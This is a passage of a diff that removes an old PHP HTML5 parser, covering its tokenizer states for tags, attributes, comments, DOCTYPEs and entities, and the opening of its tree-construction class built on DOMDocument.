GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('non'); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = (!$entity) - ? '&' - : $entity; - - $this->emitToken($char); - } - - private function bogusCommentState() { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken(array( - 'data' => $data, - 'type' => self::COMMENT - )); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-'.$char; - $this->state = 'comment'; - } - } - - private function commentEndState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '-') { - $this->token['data'] .= '-'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--'.$char; - $this->state = 'comment'; - } - } - - private function doctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif($char === '>') { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - } - } - - private function doctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens bellow. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if(in_array($id, $this->entities)) { - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens bellow. - break; - } - - if(!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) { - $emit = $this->tree->emitToken($token); - - if(is_int($emit)) { - $this->content_model = $emit; - - } elseif($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() { - $this->state = null; - $this->tree->emitToken(array( - 'type' => self::EOF - )); - } -} - -class HTML5TreeConstructer { - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button','caption','html','marquee','object','table','td','th'); - private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); - private $special = array('address','area','base','basefont','bgsound', - 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', - 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', - 'h6','head','hr','iframe','image','img','input','isindex','li','link', - 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', - 'option','p','param','plaintext','pre','script','select','spacer','style', - 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) { - switch($this->phase) { - case self::INIT_PHASE: return $this->initPhase($token); break; - case self::ROOT_PHASE: return $this->rootElementPhase($token); break; - case self::MAIN_PHASE: return $this->mainPhase($token); break; - case self::END_PHASE : return $this->trailingEndPhase($token); break; - } - } - - private function initPhase($token) { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if((isset($token['error']) && $token['error']) || - $token['type'] === HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif(isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', - $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif(($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach($token['attr'] as $attr) { - if(!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch($this->mode) { - case self::BEFOR_HEAD: return $this->beforeHead($token); break; - case self::IN_HEAD: return $this->inHead($token); break; - case self::AFTER_HEAD: return $this->afterHead($token); break; - case self::IN_BODY: return $this->inBody($token); break; - case self::IN_TABLE: return $this->inTable($token); break; - case self::IN_CAPTION: return $this->inCaption($token); break; - case self::IN_CGROUP: return $this->inColumnGroup($token); break; - case self::IN_TBODY: return $this->inTableBody($token); break; - case self::IN_ROW: return $this->inRow($token); break; - case self::IN_CELL: return $this->inCell($token); break; - case self::IN_SELECT: return $this->inSelect($token); break; - case self::AFTER_BODY: return $this->afterBody($token); break; - case self::IN_FRAME: return $this->inFrameset($token); break; - case self::AFTR_FRAME: return $this->afterFrameset($token); break; - case self::END_PHASE: return $this->trailingEndPhase($token); break; - } - } - } - - private function beforeHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', - $token['data']))) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead(array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, - array('title', 'style', 'script')))) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script'))) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta'))) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead(array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - )); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title'))) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inBody($token); - } - } - - private function inBody($token) { - /* Handle the token as follows: */ - - switch($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - 